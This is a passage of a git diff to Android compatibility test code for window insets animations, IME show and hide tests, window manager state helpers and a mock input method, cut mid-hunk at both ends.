@@ -309,6 +368,7 @@
         mListener.assertWasNotCalled(FINISHED);
     }
 
+    @Presubmit
     @Test
     public void testImeControl_isntInterruptedByStartingInput() throws Throwable {
         if (mType != ime()) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java
index 32255d2..3668172 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java
@@ -19,6 +19,7 @@
 import static android.graphics.Insets.NONE;
 import static android.view.WindowInsets.Type.ime;
 import static android.view.WindowInsets.Type.navigationBars;
+import static android.view.WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS;
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
@@ -32,7 +33,9 @@
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.withSettings;
 
+import android.app.Instrumentation;
 import android.content.pm.PackageManager;
+import android.graphics.Color;
 import android.platform.test.annotations.Presubmit;
 import android.view.WindowInsets;
 
@@ -40,10 +43,9 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.cts.mockime.ImeSettings;
-import com.android.cts.mockime.MockImeSessionRule;
+import com.android.cts.mockime.MockImeSession;
 
 import org.junit.Before;
-import org.junit.Rule;
 import org.junit.Test;
 import org.mockito.InOrder;
 
@@ -56,12 +58,7 @@
 @Presubmit
 public class WindowInsetsAnimationImeTests extends WindowInsetsAnimationTestBase {
 
-    @Rule
-    public final MockImeSessionRule mMockImeSessionRule = new MockImeSessionRule(
-            InstrumentationRegistry.getInstrumentation().getContext(),
-            InstrumentationRegistry.getInstrumentation().getUiAutomation(),
-            new ImeSettings.Builder()
-    );
+    private static final int KEYBOARD_HEIGHT = 600;
 
     @Before
     public void setup() throws Exception {
@@ -69,33 +66,36 @@
         assumeTrue("MockIme cannot be used for devices that do not support installable IMEs",
                 mInstrumentation.getContext().getPackageManager().hasSystemFeature(
                         PackageManager.FEATURE_INPUT_METHODS));
+    }
+
+    private void initActivity(boolean useFloating) throws Exception {
+        initMockImeSession(useFloating);
+
         mActivity = startActivity(TestActivity.class);
         mRootView = mActivity.getWindow().getDecorView();
     }
 
+    private MockImeSession initMockImeSession(boolean useFloating) throws Exception {
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        return MockImeSession.create(
+                instrumentation.getContext(), instrumentation.getUiAutomation(),
+                useFloating ? getFloatingImeSettings()
+                        : new ImeSettings.Builder().setInputViewHeight(KEYBOARD_HEIGHT)
+                                .setDrawsBehindNavBar(true));
+    }
+
     @Test
-    public void testImeAnimationCallbacksShowAndHide() {
-        WindowInsets before = mActivity.mLastWindowInsets;
-        getInstrumentation().runOnMainSync(
-                () -> mRootView.getWindowInsetsController().show(ime()));
-
-        waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
-        commonAnimationAssertions(mActivity, before, true /* show */, ime());
-        mActivity.mCallback.animationDone = false;
-
-        before = mActivity.mLastWindowInsets;
-
-        getInstrumentation().runOnMainSync(
-                () -> mRootView.getWindowInsetsController().hide(ime()));
-
-        waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
-
-        commonAnimationAssertions(mActivity, before, false /* show */, ime());
+    public void testImeAnimationCallbacksShowAndHide() throws Exception {
+        initActivity(false /* useFloating */);
+        testShowAndHide();
     }
 
     @Test
     @FlakyTest(detail = "Promote once confirmed non-flaky")
-    public void testAnimationCallbacks_overlapping_opposite() {
+    public void testAnimationCallbacks_overlapping_opposite() throws Exception {
+        assumeTrue(hasWindowInsets(navigationBars()));
+
+        initActivity(false /* useFloating */);
         WindowInsets before = mActivity.mLastWindowInsets;
 
         MultiAnimCallback callbackInner = new MultiAnimCallback();
@@ -153,4 +153,39 @@
                 callback.imeAnimSteps.get(callback.imeAnimSteps.size() - 1).insets
                         .getInsets(ime()));
     }
+
+    @Test
+    public void testZeroInsetsImeAnimates() throws Exception {
+        initActivity(true /* useFloating */);
+        testShowAndHide();
+    }
+
+    private void testShowAndHide() {
+        WindowInsets before = mActivity.mLastWindowInsets;
+        getInstrumentation().runOnMainSync(
+                () -> mRootView.getWindowInsetsController().show(ime()));
+
+        waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
+        commonAnimationAssertions(mActivity, before, true /* show */, ime());
+        mActivity.mCallback.animationDone = false;
+
+        before = mActivity.mLastWindowInsets;
+
+        getInstrumentation().runOnMainSync(
+                () -> mRootView.getWindowInsetsController().hide(ime()));
+
+        waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
+
+        commonAnimationAssertions(mActivity, before, false /* show */, ime());
+    }
+
+    private static ImeSettings.Builder getFloatingImeSettings() {
+        final ImeSettings.Builder builder = new ImeSettings.Builder();
+        builder.setWindowFlags(0, FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);
+        // As documented, Window#setNavigationBarColor() is actually ignored when the IME window
+        // does not have FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS.  We are calling setNavigationBarColor()
+        // to ensure it.
+        builder.setNavigationBarColor(Color.BLACK);
+        return builder;
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
index d4e6472..f51708f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
@@ -20,6 +20,7 @@
 import static android.server.wm.WindowInsetsAnimationUtils.requestControlThenTransitionToVisibility;
 import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
 import static android.view.WindowInsets.Type.ime;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
@@ -43,6 +44,7 @@
 import android.view.WindowInsetsAnimation;
 import android.view.WindowInsetsAnimation.Callback;
 import android.view.WindowInsetsController;
+import android.view.inputmethod.EditorInfo;
 import android.view.inputmethod.InputMethodManager;
 import android.widget.EditText;
 import android.widget.FrameLayout;
@@ -136,8 +138,10 @@
             super.onCreate(savedInstanceState);
             getWindow().requestFeature(Window.FEATURE_NO_TITLE);
             getWindow().setDecorFitsSystemWindows(false);
+            getWindow().setSoftInputMode(SOFT_INPUT_STATE_ALWAYS_HIDDEN);
             mTestView = new TestView(this);
             mEditText = new EditText(this);
+            mEditText.setImeOptions(EditorInfo.IME_FLAG_NO_FULLSCREEN);
             mTestView.addView(mEditText);
             mTestView.mEvaluator = () -> {
                 if (mEvaluator != null) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java
index 6fe77e4..ebcc34a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java
@@ -22,6 +22,7 @@
 import static android.view.WindowInsets.Type.statusBars;
 import static android.view.WindowInsets.Type.systemBars;
 import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_HIDDEN;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
@@ -33,16 +34,20 @@
 import static org.mockito.Mockito.inOrder;
 import static org.mockito.Mockito.spy;
 
+import android.graphics.Insets;
 import android.os.Bundle;
+import android.os.SystemClock;
+import android.server.wm.WindowInsetsAnimationTestBase.AnimCallback.AnimationStep;
 import android.util.ArraySet;
 import android.view.View;
 import android.view.WindowInsets;
 import android.view.WindowInsetsAnimation;
-import android.server.wm.WindowInsetsAnimationTestBase.AnimCallback.AnimationStep;
 import android.widget.EditText;
 import android.widget.LinearLayout;
 import android.widget.TextView;
 
+import androidx.annotation.NonNull;
+
 import org.junit.Assert;
 import org.mockito.InOrder;
 
@@ -99,6 +104,10 @@
         assertEquals(after, steps.get(steps.size() - 1).insets);
     }
 
+    protected boolean hasWindowInsets(int types) {
+        return Insets.NONE != mRootView.getRootWindowInsets().getInsetsIgnoringVisibility(types);
+    }
+
     protected void assertAnimationSteps(ArrayList<AnimationStep> steps, boolean showAnimation) {
         assertTrue(steps.size() >= 2);
         assertEquals(0f, steps.get(0).fraction, 0f);
@@ -281,6 +290,10 @@
 
     public static class TestActivity extends FocusableActivity {
 
+        private final String mEditTextMarker =
+                "android.server.wm.WindowInsetsAnimationTestBase.TestActivity"
+                        + SystemClock.elapsedRealtimeNanos();
+
         AnimCallback mCallback =
                 spy(new AnimCallback(WindowInsetsAnimation.Callback.DISPATCH_MODE_STOP));
         WindowInsets mLastWindowInsets;
@@ -299,6 +312,11 @@
             }
         }
 
+        @NonNull
+        String getEditTextMarker() {
+            return mEditTextMarker;
+        }
+
         @Override
         protected void onCreate(Bundle savedInstanceState) {
             super.onCreate(savedInstanceState);
@@ -308,12 +326,14 @@
             mView.setOnApplyWindowInsetsListener(mListener);
             mChild = new TextView(this);
             mEditor = new EditText(this);
+            mEditor.setPrivateImeOptions(mEditTextMarker);
             mView.addView(mChild);
             mView.addView(mEditor);
 
             getWindow().setDecorFitsSystemWindows(false);
             getWindow().getAttributes().layoutInDisplayCutoutMode =
                     LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+            getWindow().setSoftInputMode(SOFT_INPUT_STATE_HIDDEN);
             setContentView(mView);
             mEditor.requestFocus();
         }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
index 756426a..0a471a6 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
@@ -26,6 +26,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeTrue;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.argThat;
 import static org.mockito.ArgumentMatchers.eq;
@@ -50,8 +51,6 @@
 
 import java.util.List;
 
-import androidx.test.filters.FlakyTest;
-
 /**
  * Test whether {@link WindowInsetsAnimation.Callback} are properly dispatched to views.
  *
@@ -66,6 +65,7 @@
         super.setUp();
         mActivity = startActivity(TestActivity.class);
         mRootView = mActivity.getWindow().getDecorView();
+        assumeTrue(hasWindowInsets(systemBars()));
     }
 
     @Test
@@ -99,7 +99,6 @@
     }
 
     @Test
-    @FlakyTest(detail = "Promote once confirmed non-flaky")
     public void testAnimationCallbacks_overlapping() {
         WindowInsets before = mActivity.mLastWindowInsets;
 
@@ -220,10 +219,14 @@
 
         waitForOrFail("Waiting until animation done", () -> done[0]);
 
-        verify(childCallback).onStart(any(), argThat(
-                bounds -> bounds.getUpperBound().equals(before.getInsets(statusBars()))));
-        verify(childCallback, atLeastOnce()).onProgress(argThat(
-                insets -> NONE.equals(insets.getInsets(navigationBars()))), any());
+        if (hasWindowInsets(statusBars())) {
+            verify(childCallback).onStart(any(), argThat(
+                    bounds -> bounds.getUpperBound().equals(before.getInsets(statusBars()))));
+        }
+        if (hasWindowInsets(navigationBars())) {
+            verify(childCallback, atLeastOnce()).onProgress(argThat(
+                    insets -> NONE.equals(insets.getInsets(navigationBars()))), any());
+        }
     }
 
     @Test
@@ -239,14 +242,12 @@
             });
         });
 
-        getWmState().waitFor(state -> !state.isWindowVisible("StatusBar"),
-                "Waiting for status bar to be hidden");
-        assertFalse(getWmState().isWindowVisible("StatusBar"));
+        waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
 
+        assertFalse(getWmState().isWindowVisible("StatusBar"));
         verify(mActivity.mCallback).onPrepare(any());
         verify(mActivity.mCallback).onStart(any(), any());
         verify(mActivity.mCallback, atLeastOnce()).onProgress(any(), any());
         verify(mActivity.mCallback).onEnd(any());
     }
-
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
index 0f29d97..aca3a97 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
@@ -29,17 +29,26 @@
 import static android.view.WindowInsetsController.BEHAVIOR_SHOW_TRANSIENT_BARS_BY_SWIPE;
 import static android.view.WindowManager.LayoutParams.FLAG_FULLSCREEN;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_HIDDEN;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
+import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+
 import static org.hamcrest.Matchers.is;
 import static org.hamcrest.Matchers.notNullValue;
+import static org.hamcrest.Matchers.nullValue;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
 import android.app.AlertDialog;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
@@ -53,10 +62,14 @@
 import android.widget.LinearLayout;
 import android.widget.TextView;
 
+import androidx.annotation.Nullable;
 import androidx.test.filters.FlakyTest;
 
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.SystemUtil;
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
 
 import org.junit.Rule;
 import org.junit.Test;
@@ -78,6 +91,9 @@
     private final static long TIME_SLICE = 50; // milliseconds
     private final static AnimationCallback ANIMATION_CALLBACK = new AnimationCallback();
 
+    private static final String AM_BROADCAST_CLOSE_SYSTEM_DIALOGS =
+            "am broadcast -a android.intent.action.CLOSE_SYSTEM_DIALOGS";
+
     @Rule
     public final ErrorCollector mErrorCollector = new ErrorCollector();
 
@@ -174,17 +190,27 @@
     }
 
     @Test
-    public void testImeShowAndHide() {
-        final TestActivity activity = startActivity(TestActivity.class);
-        final View rootView = activity.getWindow().getDecorView();
-        getInstrumentation().runOnMainSync(() -> {
-            rootView.getWindowInsetsController().show(ime());
-        });
-        PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(ime()));
-        getInstrumentation().runOnMainSync(() -> {
-            rootView.getWindowInsetsController().hide(ime());
-        });
-        PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(ime()));
+    public void testImeShowAndHide() throws Exception {
+        final Instrumentation instrumentation = getInstrumentation();
+        assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()),
+                nullValue());
+        try (MockImeSession imeSession = MockImeSession.create(instrumentation.getContext(),
+                instrumentation.getUiAutomation(), new ImeSettings.Builder())) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            final TestActivity activity = startActivity(TestActivity.class);
+            expectEvent(stream, editorMatcher("onStartInput", activity.mEditTextMarker), TIMEOUT);
+
+            final View rootView = activity.getWindow().getDecorView();
+            getInstrumentation().runOnMainSync(() -> {
+                rootView.getWindowInsetsController().show(ime());
+            });
+            PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(ime()));
+            getInstrumentation().runOnMainSync(() -> {
+                rootView.getWindowInsetsController().hide(ime());
+            });
+            PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(ime()));
+        }
     }
 
     @Test
@@ -394,6 +420,12 @@
         // Swiping from top of display can show bars.
         dragFromTopToCenter(rootView);
         PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(types));
+
+        // The swipe action brings down the notification shade which causes subsequent tests to
+        // fail.
+        if (isAutomotive(mContext)) {
+            broadcastCloseSystemDialogs();
+        }
     }
 
     @Test
@@ -448,11 +480,17 @@
 
     @Test
     public void testShowImeOnCreate() throws Exception {
-        final TestShowOnCreateActivity activity = startActivity(TestShowOnCreateActivity.class);
-        final View rootView = activity.getWindow().getDecorView();
-        ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
-        PollingCheck.waitFor(TIMEOUT,
-                () -> rootView.getRootWindowInsets().isVisible(ime()));
+        final Instrumentation instrumentation = getInstrumentation();
+        assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()),
+                nullValue());
+        try (MockImeSession imeSession = MockImeSession.create(instrumentation.getContext(),
+                instrumentation.getUiAutomation(), new ImeSettings.Builder())) {
+            final TestShowOnCreateActivity activity = startActivity(TestShowOnCreateActivity.class);
+            final View rootView = activity.getWindow().getDecorView();
+            ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
+            PollingCheck.waitFor(TIMEOUT,
+                    () -> rootView.getRootWindowInsets().isVisible(ime()));
+        }
     }
 
     @Test
@@ -509,6 +547,14 @@
 
     }
 
+    private static void broadcastCloseSystemDialogs() {
+        executeShellCommand(AM_BROADCAST_CLOSE_SYSTEM_DIALOGS);
+    }
+
+    private static boolean isAutomotive(Context context) {
+        return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
+
     private static void hideInsets(View view, int types) throws InterruptedException {
         ANIMATION_CALLBACK.reset();
         getInstrumentation().runOnMainSync(() -> {
@@ -592,10 +638,11 @@
         }
     }
 
-    private static View setViews(Activity activity) {
+    private static View setViews(Activity activity, @Nullable String privateImeOptions) {
         LinearLayout layout = new LinearLayout(activity);
         View text = new TextView(activity);
         EditText editor = new EditText(activity);
+        editor.setPrivateImeOptions(privateImeOptions);
         layout.addView(text);
         layout.addView(editor);
         activity.setContentView(layout);
@@ -604,11 +651,14 @@
     }
 
     public static class TestActivity extends FocusableActivity {
+        final String mEditTextMarker =
+                getClass().getName() + "/" + SystemClock.elapsedRealtimeNanos();
 
         @Override
         protected void onCreate(Bundle savedInstanceState) {
             super.onCreate(savedInstanceState);
-            setViews(this);
+            setViews(this, mEditTextMarker);
+            getWindow().setSoftInputMode(SOFT_INPUT_STATE_HIDDEN);
         }
     }
 
@@ -617,7 +667,7 @@
         @Override
         protected void onCreate(Bundle savedInstanceState) {
             super.onCreate(savedInstanceState);
-            View layout = setViews(this);
+            View layout = setViews(this, null /* privateImeOptions */);
             ANIMATION_CALLBACK.reset();
             getWindow().getDecorView().setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
             getWindow().getInsetsController().hide(statusBars());
@@ -626,11 +676,10 @@
     }
 
     public static class TestShowOnCreateActivity extends FocusableActivity {
-
         @Override
         protected void onCreate(Bundle savedInstanceState) {
             super.onCreate(savedInstanceState);
-            View layout = setViews(this);
+            setViews(this, null /* privateImeOptions */);
             ANIMATION_CALLBACK.reset();
             getWindow().getDecorView().setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
             getWindow().getInsetsController().show(ime());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
index 76cf406..afa03c2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
@@ -29,6 +29,7 @@
 import static android.server.wm.app.Components.ALIAS_TEST_ACTIVITY;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
+import static android.view.Display.DEFAULT_DISPLAY;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotEquals;
@@ -259,7 +260,7 @@
         // Launch alias activity.
         getLaunchActivityBuilder().setUseInstrumentation().setTargetActivity(ALIAS_TEST_ACTIVITY)
                 .setIntentFlags(FLAG_ACTIVITY_NEW_TASK).execute();
-        final int stacks = mWmState.getRootTasksCount();
+        final int stacks = mWmState.getRootTasksCount(DEFAULT_DISPLAY);
         final int taskId =
                 mWmState.getTaskByActivity(ALIAS_TEST_ACTIVITY).getTaskId();
 
@@ -270,7 +271,7 @@
         assertEquals("Instance of the activity in its task must be only one", 1,
                 mWmState.getActivityCountInTask(taskId, ALIAS_TEST_ACTIVITY));
         assertEquals("Stacks counts should not be increased.", stacks,
-                mWmState.getRootTasksCount());
+                mWmState.getRootTasksCount(DEFAULT_DISPLAY));
 
         // Return to home and launch the real activity.
         launchHomeActivity();
@@ -279,7 +280,7 @@
         assertEquals("Instance of the activity in its task must be only one", 1,
                 mWmState.getActivityCountInTask(taskId, ALIAS_TEST_ACTIVITY));
         assertEquals("Stacks counts should not be increased.", stacks,
-                mWmState.getRootTasksCount());
+                mWmState.getRootTasksCount(DEFAULT_DISPLAY));
     }
 
     /**
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 77391b9..7ddc020 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -215,6 +215,7 @@
     private static Boolean sHasHomeScreen = null;
     private static Boolean sSupportsSystemDecorsOnSecondaryDisplays = null;
     private static Boolean sSupportsInsecureLockScreen = null;
+    private static Boolean sIsAssistantOnTop = null;
     private static boolean sStackTaskLeakFound;
 
     protected static final int INVALID_DEVICE_ROTATION = -1;
@@ -1092,6 +1093,14 @@
         return sSupportsInsecureLockScreen;
     }
 
+    protected boolean isAssistantOnTop() {
+        if (sIsAssistantOnTop == null) {
+            sIsAssistantOnTop = mContext.getResources().getBoolean(
+                    android.R.bool.config_assistantOnTopOfDream);
+        }
+        return sIsAssistantOnTop;
+    }
+
     /**
      * Rotation support is indicated by explicitly having both landscape and portrait
      * features or not listing either at all.
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 4e8d8fd..f362c23 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -825,6 +825,14 @@
         return mRootTasks.size();
     }
 
+    public int getRootTasksCount(int displayId) {
+        int count = 0;
+        for (ActivityTask rootTask : mRootTasks) {
+            if (rootTask.mDisplayId == displayId) ++count;
+        }
+        return count;
+    }
+
     boolean pendingActivityContain(ComponentName activityName) {
         return mPendingActivities.contains(getActivityName(activityName));
     }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
index 02a18c5..1a77ba4 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
@@ -273,6 +273,12 @@
                         "keyguard window to dismiss"));
     }
 
+    void waitForWindowSurfaceDisappeared(String windowName) {
+        waitForWithAmState(state -> {
+            return !state.isWindowSurfaceShown(windowName);
+        }, windowName + "'s surface is disappeared");
+    }
+
     public boolean waitForWithAmState(Predicate<WindowManagerState> waitCondition,
             String message) {
         return waitFor((amState) -> waitCondition.test(amState), message);
@@ -554,6 +560,13 @@
                 containsWindow(windowName));
     }
 
+    public void waitAndAssertVisibilityGone(final ComponentName activityName) {
+        // Sometimes the surface can be shown due to the late animation.
+        // Wait for the animation is done.
+        waitForWindowSurfaceDisappeared(getWindowName(activityName));
+        assertVisibility(activityName, false);
+    }
+
     public void assertVisibility(final ComponentName activityName, final boolean visible) {
         final String windowName = getWindowName(activityName);
         // Check existence of activity and window.
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
index f08633f..4e62194 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
@@ -340,4 +340,21 @@
             throw new RuntimeException("notExpectEvent failed: " + stream.dump(), e);
         }
     }
+
+    /**
+     * Clear all events with {@code eventName} in given {@code stream} and returns a forked
+     * {@link ImeEventStream} without events with {@code eventName}.
+     * <p>It is used to make sure previous events influence the test. </p>
+     *
+     * @param stream {@link ImeEventStream} to be cleared
+     * @param eventName The targeted cleared event name
+     * @return A forked {@link ImeEventStream} without event with {@code eventName}
+     */
+    public static ImeEventStream clearAllEvents(@NonNull ImeEventStream stream,
+            @NonNull String eventName) {
+        while (stream.seekToFirst(event -> eventName.equals(event.getEventName())).isPresent()) {
+            stream.skip(1);
+        }
+        return stream.copy();
+    }
 }
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
index 917f7b3..6731e85 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
@@ -52,6 +52,7 @@
     private static final String INLINE_SUGGESTIONS_ENABLED = "InlineSuggestionsEnabled";
     private static final String INLINE_SUGGESTION_VIEW_CONTENT_DESC =
             "InlineSuggestionViewContentDesc";
+    private static final String STRICT_MODE_ENABLED = "StrictModeEnabled";
 
     @NonNull
     private final PersistableBundle mBundle;
@@ -127,6 +128,10 @@
         return mBundle.getString(INLINE_SUGGESTION_VIEW_CONTENT_DESC, defaultValue);
     }
 
+    public boolean isStrictModeEnabled() {
+        return mBundle.getBoolean(STRICT_MODE_ENABLED, false);
+    }
+
     static Bundle serializeToBundle(@NonNull String eventCallbackActionName,
             @Nullable Builder builder) {
         final Bundle result = new Bundle();
@@ -280,5 +285,10 @@
             return this;
         }
 
+        /** Sets whether to enable {@link android.os.StrictMode} or not. */
+        public Builder setStrictModeEnabled(boolean enabled) {
+            mBundle.putBoolean(STRICT_MODE_ENABLED, enabled);
+            return this;
+        }
     }
 }
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
index 5be50de..ba7262e 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
@@ -36,6 +36,7 @@
 import android.os.Looper;
 import android.os.Process;
 import android.os.ResultReceiver;
+import android.os.StrictMode;
 import android.os.SystemClock;
 import android.text.TextUtils;
 import android.util.Log;
@@ -44,6 +45,7 @@
 import android.view.Gravity;
 import android.view.KeyEvent;
 import android.view.View;
+import android.view.ViewConfiguration;
 import android.view.Window;
 import android.view.WindowInsets;
 import android.view.WindowManager;
@@ -59,9 +61,9 @@
 import android.view.inputmethod.InputContentInfo;
 import android.view.inputmethod.InputMethod;
 import android.widget.FrameLayout;
+import android.widget.HorizontalScrollView;
 import android.widget.ImageView;
 import android.widget.LinearLayout;
-import android.widget.HorizontalScrollView;
 import android.widget.TextView;
 import android.widget.inline.InlinePresentationSpec;
 
@@ -288,8 +290,7 @@
                         return ImeEvent.RETURN_VALUE_UNAVAILABLE;
                     }
                     case "getDisplayId":
-                        return getSystemService(WindowManager.class)
-                                .getDefaultDisplay().getDisplayId();
+                        return getDisplay().getDisplayId();
                     case "verifyLayoutInflaterContext":
                         return getLayoutInflater().getContext() == this;
                     case "setHeight":
@@ -299,6 +300,17 @@
                     case "setInlineSuggestionsExtras":
                         mInlineSuggestionsExtras = command.getExtras();
                         return ImeEvent.RETURN_VALUE_UNAVAILABLE;
+                    case "verifyGetDisplay":
+                        Context configContext = createConfigurationContext(new Configuration());
+                        return getDisplay() != null && configContext.getDisplay() != null;
+                    case "verifyGetWindowManager":
+                        configContext = createConfigurationContext(new Configuration());
+                        return getSystemService(WindowManager.class) != null
+                                && configContext.getSystemService(WindowManager.class) != null;
+                    case "verifyGetViewConfiguration":
+                            configContext = createConfigurationContext(new Configuration());
+                            return ViewConfiguration.get(this) != null
+                                    && ViewConfiguration.get(configContext) != null;
                 }
             }
             return ImeEvent.RETURN_VALUE_UNAVAILABLE;
@@ -368,6 +380,17 @@
         mClientPackageName.set(mSettings.getClientPackageName());
         mImeEventActionName.set(mSettings.getEventCallbackActionName());
 
+        // TODO(b/159593676): consider to detect more violations
+        if (mSettings.isStrictModeEnabled()) {
+            StrictMode.setVmPolicy(
+                    new StrictMode.VmPolicy.Builder()
+                            .detectIncorrectContextUse()
+                            .penaltyLog()
+                            .penaltyListener(Runnable::run,
+                                    v -> getTracer().onStrictModeViolated(() -> {}))
+                            .build());
+        }
+
         getTracer().onCreate(() -> {
             super.onCreate();
             mHandlerThread.start();
@@ -613,12 +636,7 @@
     @Override
     public void onStartInput(EditorInfo editorInfo, boolean restarting) {
         getTracer().onStartInput(editorInfo, restarting,
-                () -> {
-                    super.onStartInput(editorInfo, restarting);
-                    if (mSettings.getInlineSuggestionsEnabled()) {
